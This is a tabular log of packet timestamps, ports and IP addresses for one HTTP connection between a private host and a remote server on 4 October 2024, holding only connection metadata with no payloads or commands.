Oct 4, 2024 04:28:04.958163977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958167076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958173990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958185911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958201885 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958229065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958303928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958314896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958323956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958334923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958345890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958353996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958381891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958405018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958425999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958436966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958445072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958450079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958502054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958560944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958571911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958581924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958594084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958622932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958640099 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958687067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958698034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958734035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958744049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958755016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958765984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958777905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958786011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958795071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958812952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958823919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958942890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958954096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958962917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958973885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958983898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.958991051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.958993912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959007025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959018946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959037066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959060907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959192991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959203959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959214926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959224939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959235907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959244967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959249973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959281921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959352016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959362030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959372044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959381104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959394932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959398985 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959405899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959423065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959455013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959527969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959538937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959548950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959558964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959568977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959578991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959582090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959604979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959626913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959752083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959772110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959780931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959790945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959800959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959806919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959811926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959822893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959829092 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959835052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959861994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959882021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.959927082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959939003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959954977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959964991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.959985018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960019112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960045099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960056067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960071087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960079908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960092068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960093021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960125923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960151911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960155010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960163116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960175037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960185051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960196972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960197926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960207939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.960222006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.960259914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.961448908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961466074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961510897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.961525917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961570978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.961592913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961604118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961613894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961641073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961643934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.961651087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.961675882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.961707115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.041798115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041814089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041826963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041843891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041870117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.041892052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.041893959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041906118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041917086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041940928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.041968107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041971922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.041979074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.041990995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042007923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.042036057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.042072058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042083025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042093992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042104959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042114973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.042125940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.042150021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.042176008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.048948050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.048959970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.048970938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049005032 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049031019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049031973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049043894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049053907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049065113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049072981 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049092054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049114943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049505949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049518108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049529076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049555063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049587011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049613953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049624920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049635887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049647093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049659014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049673080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049704075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049730062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049741983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049752951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049770117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049799919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049817085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049828053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049839020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049848080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.049861908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.049890995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050416946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050426960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050436020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050470114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050476074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050487041 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050487995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050517082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050529003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050544024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050554991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050575972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050590992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050618887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.050681114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.050724030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051503897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051516056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051527977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051537991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051548958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051558971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051569939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051573038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051580906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051592112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051603079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051614046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051615000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051625013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051634073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051635981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051650047 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051654100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051660061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051664114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051671028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051676989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051681995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051687002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051692009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051697016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051702023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051704884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051707983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051717043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051727057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051738024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051748037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051754951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051759005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051769018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051779032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051781893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051789045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051796913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051806927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051810026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051816940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051830053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051832914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051843882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051853895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051860094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051865101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051875114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051884890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051886082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051897049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051903009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051908016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051918983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051922083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051935911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051942110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051948071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051958084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.051959991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051970959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.051986933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052007914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052015066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052021027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052031994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052042961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052047968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052074909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052099943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052104950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052115917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052124977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052154064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052174091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052297115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052369118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052413940 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052436113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052448034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052463055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052474976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052475929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052509069 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052539110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052541018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052553892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052565098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052576065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052598000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052620888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052678108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052689075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052700996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052711964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.052730083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052738905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.052750111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.053972960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.053985119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.053994894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054020882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.054037094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054042101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.054049969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054059982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054085016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.054088116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054099083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.054104090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.054136992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134229898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134251118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134260893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134278059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134289026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134299040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134310007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134309053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134320974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134331942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134349108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134363890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134516001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134536028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134545088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134558916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134578943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134618998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134653091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134663105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134701967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.134713888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134722948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.134845018 CEST	49740	80	192.168.2.6	172.67.159.45
